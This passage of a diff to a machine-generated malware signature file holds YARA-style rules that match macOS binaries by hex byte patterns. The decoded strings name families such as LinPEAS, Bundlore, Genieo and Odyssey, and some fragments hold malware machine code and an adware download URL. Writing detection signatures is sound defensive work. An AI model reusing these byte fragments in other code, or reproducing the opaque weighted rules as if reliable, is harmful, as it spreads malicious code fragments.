$a_75_2 = {63 65 2f 41 64 76 61 6e 63 65 64 20 4d 61 63 20 43 6c 65 61 6e 65 72 20 48 65 6c 70 65 72 2f 41 70 70 44 65 6c 65 67 61 74 65 2e 68 01 00 12 00 53 6d 61 72 74 2d 4d 61 63 20 42 6f 6f 73 74 65 72 58 01 00 37 00 67 65 74 61 64 76 61 6e 63 65 64 6d 61 63 2e 63 6f 6d 2f 6d 74 72 61 63 6b 2f 3f 6d 65 74 64 3d 74 72 61 63 6b 57 65 62 4f } //29487 - $a_72_3 = {56 69 65 77 26 70 78 6c 3d 00 00 04 00 8d 54 01 00 04 00 04 00 04 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 4c 69 6e 50 65 61 73 2e 42 21 4d 54 42 00 01 00 1a 01 2f 50 45 41 53 53 2d 6e 67 2f 73 68 32 62 69 6e 2f 73 68 32 62 69 6e 2e 67 6f 01 00 36 01 2f 6f 70 74 2f 68 6f 73 74 } //26214 - $a_6f_4 = {6c 63 61 63 68 65 2f 67 6f 2f 31 2e 31 37 2e 30 2d 72 63 31 2f 78 36 34 2f 73 72 63 2f 66 6d 74 2f 73 63 61 6e 2e 67 6f 01 00 60 01 48 8b 54 24 68 48 8b 74 24 50 48 8b 7c 24 48 48 8b 44 24 70 48 89 f9 48 8b 5c 24 30 49 39 c8 0f 8d 08 01 00 00 0f 83 2f 01 00 00 4c 89 44 24 28 49 c1 e0 04 4c 89 44 24 40 42 8b 1c 06 48 89 d0 e8 cc c9 04 00 48 89 84 } //25701 - $a_4c_6 = {40 48 8b 54 24 50 8b 5c 0a 04 48 8b 44 24 68 01 00 69 01 49 89 d5 48 29 f2 48 83 c2 14 48 89 54 24 58 4c 8d 7e ec 4c 89 f8 49 c1 ff 3f 4c 21 fe 4c 8d bc 34 94 00 00 00 48 39 d7 73 3f 48 89 44 24 70 4c 89 bc 24 28 01 00 00 4c 89 6c 24 68 48 8d 05 bb a3 09 00 4c 89 c3 4c 89 e9 48 89 d6 e8 2d f0 03 00 4c 8b 6c 24 68 4c 8b bc 24 28 01 00 00 49 89 c0 48 89 cf 48 8b 44 24 70 00 00 8d 55 01 00 06 00 06 00 03 00 21 23 41 } //18432 + $a_72_3 = {56 69 65 77 26 70 78 6c 3d 00 00 04 00 8d 55 01 00 06 00 06 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 42 75 6e 64 6c 6f 72 65 2e 50 21 4d 54 42 00 02 00 9d 02 55 48 89 e5 41 56 53 48 83 ec 90 01 01 48 8b 05 90 01 02 00 00 48 8b 00 48 89 45 e8 48 8d 7d e0 e8 90 01 01 00 00 00 } //26214 + $a_02_4 = {ff } //-28440 + $a_c3_5 = {90 01 01 00 00 00 85 c0 7e 90 01 01 41 89 c6 8b 7d e0 e8 90 01 01 00 00 00 8b 7d e4 e8 90 01 02 ff ff 8b 7d e4 e8 90 01 02 ff ff 8b 7d e4 e8 90 01 02 ff ff 8b 7d e4 e8 90 01 02 ff ff 8b 7d e4 e8 90 01 02 ff ff 8b 7d e4 e8 90 01 02 ff ff 8b 7d e4 e8 90 01 02 ff ff 8b 7d e4 e8 90 01 02 ff ff 8b 7d e4 e8 90 01 02 ff ff 90 00 02 00 25 02 8b 7d e4 e8 90 01 01 00 00 00 8b 7d e0 31 f6 e8 90 01 01 00 00 00 48 8b 3b } //18687 + $a_e8_6 = {01 01 00 00 00 90 00 02 00 5a 02 55 48 89 e5 41 57 41 56 41 55 41 54 53 50 89 7d d4 6a 01 5e bf 90 01 04 e8 90 01 04 48 89 c3 90 02 04 88 90 02 04 00 00 90 02 07 88 90 02 04 00 00 90 02 07 88 90 02 04 00 00 90 02 07 88 90 02 06 88 90 02 06 88 90 02 04 00 00 90 02 06 88 90 02 06 00 00 90 02 07 88 90 00 00 00 03 00 8d 55 01 00 06 00 06 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 42 75 6e 64 6c 6f 72 65 2e 51 21 4d 54 42 00 02 00 3e 03 65 78 65 63 75 74 65 53 68 65 6c 6c 43 6d 64 90 02 01 63 6d 64 90 02 02 72 65 70 6f 72 74 46 61 69 6c 75 72 65 90 02 03 53 74 64 4f 75 74 90 02 09 61 73 4c 6f 67 6f 6e 55 73 65 72 90 00 02 00 7e 03 50 72 } //-30392 condition: - ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*28784+(#a_75_2 & 1)*29487+(#a_72_3 & 1)*26214+(#a_6f_4 & 1)*25701+(#a_4c_6 & 1)*18432) >=7 + ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*28784+(#a_75_2 & 1)*29487+(#a_72_3 & 1)*26214+(#a_02_4 & 1)*-28440+(#a_c3_5 & 1)*18687+(#a_e8_6 & 1)*-30392) >=7 } -rule _InfrastructureShared_21500{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " - - strings : - $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 4c 69 6e 50 65 61 73 2e 42 21 4d 54 42 00 01 00 1a 01 2f 50 45 41 53 53 2d 6e 67 2f 73 68 32 62 69 6e 2f 73 68 32 62 69 6e 2e 67 6f 01 00 36 01 2f 6f 70 74 2f 68 } //21539 - $a_65_1 = {74 6f 6f 6c 63 61 63 68 65 2f 67 6f 2f 31 2e 31 37 2e 30 2d 72 63 31 2f 78 36 34 2f 73 72 63 2f 66 6d 74 2f 73 63 61 6e 2e 67 6f 01 00 60 01 48 8b 54 24 68 48 8b 74 24 50 48 8b 7c 24 48 48 8b 44 24 70 48 89 f9 48 8b 5c 24 30 49 39 c8 0f 8d 08 01 00 00 0f 83 2f 01 00 00 4c 89 44 24 28 49 c1 e0 04 4c 89 44 24 40 42 8b 1c 06 48 89 d0 e8 cc c9 04 00 } //29551 - $a_24_2 = {00 00 00 48 8b 4c 24 40 48 8b 54 24 50 8b 5c 0a 04 48 8b 44 24 68 01 00 69 01 49 89 d5 48 29 f2 48 83 c2 14 48 89 54 24 58 4c 8d 7e ec 4c 89 f8 49 c1 ff 3f 4c 21 fe 4c 8d bc 34 94 00 00 00 48 39 d7 73 3f 48 89 44 24 70 4c 89 bc 24 28 01 00 00 4c 89 6c 24 68 48 8d 05 bb a3 09 00 4c 89 c3 4c 89 e9 48 89 d6 e8 2d f0 03 00 4c 8b 6c 24 68 4c 8b bc 24 28 01 00 00 49 89 c0 48 89 cf 48 8b 44 24 70 00 } //-30392 - $a_01_3 = {00 06 00 06 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 42 75 6e 64 6c 6f 72 65 2e 50 21 4d 54 42 00 02 00 9d 02 55 48 89 e5 41 56 53 48 83 ec 90 01 01 48 8b 05 90 01 02 00 00 48 8b 00 48 89 45 e8 48 8d 7d e0 e8 90 01 01 00 00 00 } //-29440 - condition: - ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*29551+(#a_24_2 & 1)*-30392+(#a_01_3 & 1)*-29440) >=4 - -} -rule _InfrastructureShared_21501{ +rule _InfrastructureShared_22783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 03 00 21 " @@ -283769,7 +300214,7 @@ rule _InfrastructureShared_21501{ ((#a_46_0 & 1)*16675+(#a_89_1 & 1)*-1+(#a_90_2 & 1)*-7043) >=6 } -rule _InfrastructureShared_21502{ +rule _InfrastructureShared_22784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 04 00 21 " @@ -283782,7 +300227,7 @@ rule _InfrastructureShared_21502{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*30031+(#a_69_2 & 1)*26982+(#a_65_3 & 1)*25454) >=6 } -rule _InfrastructureShared_21503{ +rule _InfrastructureShared_22785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 08 00 21 " @@ -283798,7 +300243,7 @@ rule _InfrastructureShared_21503{ ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=2 } -rule _InfrastructureShared_21504{ +rule _InfrastructureShared_22786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -283811,7 +300256,7 @@ rule _InfrastructureShared_21504{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*28767+(#a_69_2 & 1)*12139+(#a_4c_3 & 1)*29549) >=4 } -rule _InfrastructureShared_21505{ +rule _InfrastructureShared_22787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -283822,7 +300267,7 @@ rule _InfrastructureShared_21505{ ((#a_41_0 & 1)*20515+(#a_3a_1 & 1)*-8171) >=2 } -rule _InfrastructureShared_21506{ +rule _InfrastructureShared_22788{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 06 00 21 " @@ -283837,7 +300282,7 @@ rule _InfrastructureShared_21506{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*25441+(#a_72_2 & 1)*30322+(#a_6b_3 & 1)*24898+(#a_2f_4 & 1)*28515+(#a_6c_5 & 1)*24948) >=3 } -rule _InfrastructureShared_21507{ +rule _InfrastructureShared_22789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 06 00 21 " @@ -283852,7 +300297,7 @@ rule _InfrastructureShared_21507{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*12158+(#a_73_2 & 1)*18809+(#a_6c_3 & 1)*26987+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=4 } -rule _InfrastructureShared_21508{ +rule _InfrastructureShared_22790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -283866,7 +300311,7 @@ rule _InfrastructureShared_21508{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*29816+(#a_69_2 & 1)*30772+(#a_57_3 & 1)*31058+(#a_2f_4 & 1)*20325) >=4 } -rule _InfrastructureShared_21509{ +rule _InfrastructureShared_22791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 04 00 21 " @@ -283879,7 +300324,7 @@ rule _InfrastructureShared_21509{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*25454+(#a_74_2 & 1)*26912+(#a_6d_3 & 1)*25406) >=1 } -rule _InfrastructureShared_21510{ +rule _InfrastructureShared_22792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 0d 00 21 " @@ -283900,7 +300345,7 @@ rule _InfrastructureShared_21510{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*11624+(#a_00_2 & 1)*101+(#a_6f_3 & 1)*29811+(#a_74_4 & 1)*25970+(#a_73_5 & 1)*24940+(#a_62_6 & 1)*29555+(#a_00_7 & 1)*26765+(#a_41_9 & 1)*8448+(#a_6e_10 & 1)*11619+(#a_6c_11 & 1)*24948+(#a_6f_12 & 1)*26994) >=1 } -rule _InfrastructureShared_21511{ +rule _InfrastructureShared_22793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 0d 00 21 " @@ -283922,7 +300367,7 @@ rule _InfrastructureShared_21511{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*19556+(#a_6e_2 & 1)*24936+(#a_76_3 & 1)*25445+(#a_78_4 & 1)*29551+(#a_6f_5 & 1)*11887+(#a_2c_6 & 1)*29811+(#a_61_7 & 1)*26477+(#a_63_8 & 1)*11630+(#a_69_9 & 1)*30060+(#a_72_10 & 1)*26957+(#a_74_11 & 1)*28524+(#a_69_12 & 1)*24441) >=3 } -rule _InfrastructureShared_21512{ +rule _InfrastructureShared_22794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 09 00 21 " @@ -283939,7 +300384,7 @@ rule _InfrastructureShared_21512{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*28013+(#a_72_2 & 1)*29440+(#a_73_3 & 1)*29554+(#a_63_4 & 1)*27760+(#a_00_5 & 1)*28557+(#a_41_7 & 1)*8448+(#a_3e_8 & 1)*25963) >=4 } -rule _InfrastructureShared_21513{ +rule _InfrastructureShared_22795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 08 00 21 " @@ -283956,7 +300401,7 @@ rule _InfrastructureShared_21513{ ((#a_46_0 & 1)*16675+(#a_3e_1 & 1)*24946+(#a_70_2 & 1)*16672+(#a_6f_3 & 1)*270+(#a_20_4 & 1)*29810+(#a_6c_5 & 1)*30821+(#a_76_6 & 1)*23+(#a_2e_7 & 1)*29285) >=1 } -rule _InfrastructureShared_21514{ +rule _InfrastructureShared_22796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,14 00 14 00 0d 00 21 " @@ -283978,7 +300423,7 @@ rule _InfrastructureShared_21514{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29989+(#a_63_2 & 1)*27756+(#a_73_3 & 1)*25443+(#a_2f_4 & 1)*30066+(#a_63_5 & 1)*25444+(#a_66_6 & 1)*25958+(#a_ff_7 & 1)*19605+(#a_73_8 & 1)*11884+(#a_65_9 & 1)*28483+(#a_66_10 & 1)*20331+(#a_48_11 & 1)*16953+(#a_32_12 & 1)*28762) >=20 } -rule _InfrastructureShared_21515{ +rule _InfrastructureShared_22797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -283991,7 +300436,7 @@ rule _InfrastructureShared_21515{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29545+(#a_6f_2 & 1)*17152+(#a_ff_4 & 1)*-168) >=5 } -rule _InfrastructureShared_21516{ +rule _InfrastructureShared_22798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 08 00 21 " @@ -284008,7 +300453,7 @@ rule _InfrastructureShared_21516{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*-28557+(#a_90_2 & 1)*29545+(#a_72_3 & 1)*28277+(#a_77_4 & 1)*25963+(#a_76_5 & 1)*17225+(#a_45_6 & 1)*21834+(#a_75_7 & 1)*22617) >=6 } -rule _InfrastructureShared_21517{ +rule _InfrastructureShared_22799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 02 00 21 " @@ -284019,7 +300464,7 @@ rule _InfrastructureShared_21517{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*16968) >=4 } -rule _InfrastructureShared_21518{ +rule _InfrastructureShared_22800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -284032,7 +300477,7 @@ rule _InfrastructureShared_21518{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*12548+(#a_b8_2 & 1)*14664+(#a_54_3 & 1)*18490) >=4 } -rule _InfrastructureShared_21519{ +rule _InfrastructureShared_22801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,1f 00 1f 00 0e 00 21 " @@ -284054,7 +300499,7 @@ rule _InfrastructureShared_21519{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*25193+(#a_41_2 & 1)*3840+(#a_63_3 & 1)*19823+(#a_61_4 & 1)*21249+(#a_2e_5 & 1)*24943+(#a_fb_6 & 1)*-25203+(#a_85_7 & 1)*3942+(#a_3a_8 & 1)*17744+(#a_2f_9 & 1)*30561+(#a_70_11 & 1)*11619+(#a_77_12 & 1)*12090+(#a_2e_13 & 1)*29281) >=31 } -rule _InfrastructureShared_21520{ +rule _InfrastructureShared_22802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 03 00 21 " @@ -284065,7 +300510,7 @@ rule _InfrastructureShared_21520{ ((#a_46_0 & 1)*16675+(#a_ff_2 & 1)*4229) >=2 } -rule _InfrastructureShared_21521{ +rule _InfrastructureShared_22803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 0a 00 21 " @@ -284083,7 +300528,7 @@ rule _InfrastructureShared_21521{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28257+(#a_74_2 & 1)*26213+(#a_70_4 & 1)*29800+(#a_00_5 & 1)*1+(#a_46_6 & 1)*16675+(#a_73_7 & 1)*29554+(#a_61_8 & 1)*26980+(#a_20_9 & 1)*11552) >=5 } -rule _InfrastructureShared_21522{ +rule _InfrastructureShared_22804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 0b 00 21 " @@ -284103,7 +300548,7 @@ rule _InfrastructureShared_21522{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*29554+(#a_61_2 & 1)*26980+(#a_20_3 & 1)*11552+(#a_90_4 & 1)*26963+(#a_73_5 & 1)*17440+(#a_65_6 & 1)*25970+(#a_6f_7 & 1)*26478+(#a_56_8 & 1)*35+(#a_50_9 & 1)*19521+(#a_2e_10 & 1)*28521) >=5 } -rule _InfrastructureShared_21523{ +rule _InfrastructureShared_22805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 0c 00 21 " @@ -284124,7 +300569,7 @@ rule _InfrastructureShared_21523{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*29545+(#a_70_2 & 1)*17152+(#a_69_3 & 1)*29285+(#a_00_4 & 1)*1+(#a_50_5 & 1)*19521+(#a_2e_6 & 1)*28521+(#a_61_7 & 1)*29550+(#a_20_8 & 1)*28257+(#a_3a_9 & 1)*19521+(#a_70_10 & 1)*29743+(#a_72_11 & 1)*24429) >=3 } -rule _InfrastructureShared_21524{ +rule _InfrastructureShared_22806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 0c 00 21 " @@ -284143,7 +300588,7 @@ rule _InfrastructureShared_21524{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*26988+(#a_65_2 & 1)*26989+(#a_00_3 & 1)*2+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*0+(#a_3a_9 & 1)*19521+(#a_70_10 & 1)*29743+(#a_72_11 & 1)*24429) >=6 } -rule _InfrastructureShared_21525{ +rule _InfrastructureShared_22807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 0d 00 21 " @@ -284164,7 +300609,7 @@ rule _InfrastructureShared_21525{ ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*28718+(#a_61_2 & 1)*20563+(#a_6c_3 & 1)*29806+(#a_52_4 & 1)*26478+(#a_00_6 & 1)*1+(#a_41_7 & 1)*8448+(#a_69_8 & 1)*12033+(#a_6f_9 & 1)*29811+(#a_01_10 & 1)*29541+(#a_53_11 & 1)*19551+(#a_6e_12 & 1)*29268) >=3 } -rule _InfrastructureShared_21526{ +rule _InfrastructureShared_22808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 0d 00 21 " @@ -284185,7 +300630,7 @@ rule _InfrastructureShared_21526{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29811+(#a_74_2 & 1)*19713+(#a_65_3 & 1)*26740+(#a_54_4 & 1)*21571+(#a_3a_5 & 1)*25637+(#a_72_6 & 1)*30789+(#a_55_7 & 1)*-32651+(#a_7d_8 & 1)*-18360+(#a_65_10 & 1)*11885+(#a_2f_11 & 1)*29267+(#a_65_12 & 1)*12147) >=3 } -rule _InfrastructureShared_21527{ +rule _InfrastructureShared_22809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -284198,7 +300643,7 @@ rule _InfrastructureShared_21527{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28261+(#a_89_2 & 1)*30089+(#a_74_3 & 1)*18600) >=3 } -rule _InfrastructureShared_21528{ +rule _InfrastructureShared_22810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 07 00 21 " @@ -284214,7 +300659,7 @@ rule _InfrastructureShared_21528{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*40+(#a_61_2 & 1)*17199+(#a_72_3 & 1)*30313+(#a_70_4 & 1)*29479+(#a_76_5 & 1)*28789+(#a_4c_6 & 1)*8993) >=4 } -rule _InfrastructureShared_21529{ +rule _InfrastructureShared_22811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 0d 00 21 " @@ -284236,7 +300681,7 @@ rule _InfrastructureShared_21529{ ((#a_46_0 & 1)*16675+(#a_55_1 & 1)*25458+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_e4_12 & 1)*0) >=3 } -rule _InfrastructureShared_21530{ +rule _InfrastructureShared_22812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 06 00 21 " @@ -284248,7 +300693,18 @@ rule _InfrastructureShared_21530{ ((#a_46_0 & 1)*16675+(#a_89_1 & 1)*-30595+(#a_23_4 & 1)*-5911) >=4 } -rule _InfrastructureShared_21531{ +rule _InfrastructureShared_22813{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 70 70 6c 65 50 72 6f 63 65 73 73 48 75 62 2e 41 21 4d 54 42 00 01 00 b3 01 48 89 fb 48 8b 3d 58 23 00 00 4c 8b 73 20 48 8b 4b 28 48 8b 35 49 22 00 00 48 8d 15 e2 12 } //21539 + $a_8b_1 = {4b 0f 00 00 31 c0 41 ff d4 48 89 c7 e8 da 07 00 00 49 89 c7 48 8b 35 2c 22 00 00 4c 89 f7 48 89 c2 41 ff d4 4c 89 ff ff 15 2a 0f 00 00 48 63 43 30 48 69 f0 00 ca 9a 3b 31 ff e8 58 07 00 00 48 8b 0d d9 0e 00 00 48 8d 55 b8 48 89 } //0 + condition: + ((#a_4c_0 & 1)*21539+(#a_8b_1 & 1)*0) >=2 + +} +rule _InfrastructureShared_22814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 13 00 21 " @@ -284274,7 +300730,7 @@ rule _InfrastructureShared_21531{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*17006+(#a_2f_2 & 1)*25956+(#a_50_3 & 1)*5888+(#a_53_4 & 1)*17731+(#a_00_5 & 1)*28265+(#a_53_6 & 1)*16897+(#a_46_7 & 1)*16675+(#a_61_8 & 1)*25376+(#a_63_10 & 1)*28494+(#a_77_11 & 1)*17409+(#a_20_12 & 1)*29728+(#a_68_13 & 1)*25972+(#a_8d_14 & 1)*0+(#a_f2_16 & 1)*19456+(#a_89_17 & 1)*-28547+(#a_00_18 & 1)*-2930) >=3 } -rule _InfrastructureShared_21532{ +rule _InfrastructureShared_22815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 10 00 21 " @@ -284297,7 +300753,7 @@ rule _InfrastructureShared_21532{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*25376+(#a_63_3 & 1)*28494+(#a_77_4 & 1)*17409+(#a_20_5 & 1)*29728+(#a_68_6 & 1)*25972+(#a_8d_7 & 1)*0+(#a_f2_9 & 1)*19456+(#a_89_10 & 1)*-28547+(#a_00_11 & 1)*-2930+(#a_00_12 & 1)*24974+(#a_05_13 & 1)*-6108+(#a_00_14 & 1)*1060+(#a_00_15 & 1)*8680) >=3 } -rule _InfrastructureShared_21533{ +rule _InfrastructureShared_22816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 05 00 21 " @@ -284311,7 +300767,21 @@ rule _InfrastructureShared_21533{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*13544+(#a_df_2 & 1)*18600+(#a_10_3 & 1)*-29952+(#a_00_4 & 1)*11240) >=3 } -rule _InfrastructureShared_21534{ +rule _InfrastructureShared_22817{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 4f 64 79 73 73 65 79 2e 41 21 4d 54 42 00 01 00 48 01 48 89 e5 41 56 53 48 83 ec 10 48 8b 05 fe 6d 00 00 48 85 c0 75 3e 48 8d 3d fa 6d 00 00 e8 cd dd ff ff 48 89 c3 e8 } //21539 + $a_ff_1 = {89 c6 e8 2d ff ff ff 4c 89 75 e0 48 89 45 e8 48 8b 3d 3e 49 00 00 48 8d 55 e0 48 89 de 01 00 5b 01 48 83 ec 58 48 89 7d a8 48 8b 05 2c 59 00 00 48 8b 00 48 89 45 d0 31 ff e8 80 25 00 00 48 8b 40 f8 48 8b 40 40 e8 d9 f7 ff ff 48 83 c0 0f 48 83 e0 f0 48 29 c4 48 89 65 90 31 ff e8 cb 23 00 00 49 89 c7 4c 8b 70 f8 49 8b 46 40 e8 b3 f7 ff ff 48 83 c0 0f 48 83 e0 f0 48 29 c4 01 00 5b 01 48 b8 20 22 00 00 00 00 00 ea 48 89 45 c8 48 8b 5d a8 49 89 dd e8 9a 22 00 00 49 89 d6 4c 8d 65 c0 48 89 c7 48 89 d6 4d 89 e5 e8 29 24 00 00 4c 89 f7 e8 65 25 00 00 48 bf 22 20 26 26 20 22 00 00 48 be 00 00 00 00 00 00 00 e6 e8 08 24 00 00 49 89 dd e8 5c 22 00 00 48 89 d3 01 00 9b 01 48 83 c0 0f 48 83 e0 f0 48 29 c4 48 89 65 b0 48 8d 3d 8a 75 00 00 e8 d5 dc ff ff 49 89 c7 48 8b } //-267 + $a_89_2 = {48 8b 48 40 48 89 c8 e8 af f1 ff ff 48 83 c0 0f 48 83 e0 f0 48 29 c4 49 89 e5 48 89 c8 e8 99 f1 ff ff 48 83 c0 0f 48 83 e0 f0 48 29 c4 49 89 e4 bf 0e 00 00 00 be 05 00 00 00 31 d2 e8 4a 1f 00 00 89 c3 e8 03 04 00 00 49 } //-1984 + $a_c3_3 = {74 31 4c 8d 1d 04 56 00 00 48 8d 1d 4d 01 00 00 4c 89 e0 31 ff 31 f6 31 d2 45 31 c0 45 31 c9 31 c9 41 52 41 53 6a 00 53 01 00 63 01 4c 89 ef 4c 89 e6 4c 89 fa 4c 89 75 b8 41 ff 56 20 31 ff e8 a5 1d 00 00 49 89 c4 48 89 65 c0 48 8b 40 f8 48 89 45 c8 48 8b 40 40 e8 ef f0 ff ff 48 83 c0 0f 48 83 e0 f0 48 29 c4 48 89 e3 48 89 d8 e8 71 1d 00 00 e8 94 03 00 00 48 89 c1 48 89 45 d0 4c 8b 05 46 50 00 00 4c 8b 75 b0 4c 89 f0 48 89 df 00 00 8d 63 02 00 05 00 05 00 08 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 47 65 6e 69 65 6f 2e 42 21 78 70 00 02 00 68 00 68 74 74 70 3a 2f 2f 48 89 48 20 48 b9 64 6f 77 6e 6c 6f 61 64 48 89 48 28 48 b9 2e 6d 79 63 6f 75 70 6f 48 89 48 30 48 b9 6e 73 6d 61 72 74 73 6d 48 89 48 38 48 b9 } //-15735 + $a_63_4 = {6d 2f 63 48 89 48 40 48 b9 72 78 2f 75 70 64 61 74 48 89 48 48 48 b9 65 5f 65 78 74 65 6e 73 48 89 48 50 48 b9 69 6f 6e 2e 70 68 70 02 00 } //25441 + condition: + ((#a_4c_0 & 1)*21539+(#a_ff_1 & 1)*-267+(#a_89_2 & 1)*-1984+(#a_c3_3 & 1)*-15735+(#a_63_4 & 1)*25441) >=4 + +} +rule _InfrastructureShared_22818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 08 00 21 " @@ -284326,7 +300796,7 @@ rule _InfrastructureShared_21534{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*29556+(#a_b9_2 & 1)*6216+(#a_73_4 & 1)*8308+(#a_74_6 & 1)*25600+(#a_4e_7 & 1)*29793) >=5 } -rule _InfrastructureShared_21535{ +rule _InfrastructureShared_22819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 0c 00 21 " @@ -284347,7 +300817,7 @@ rule _InfrastructureShared_21535{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-100+(#a_01_2 & 1)*-100+(#a_01_3 & 1)*-100+(#a_01_4 & 1)*-100+(#a_01_5 & 1)*-100+(#a_01_6 & 1)*-100+(#a_01_7 & 1)*-100+(#a_01_8 & 1)*-100+(#a_01_9 & 1)*-100+(#a_01_10 & 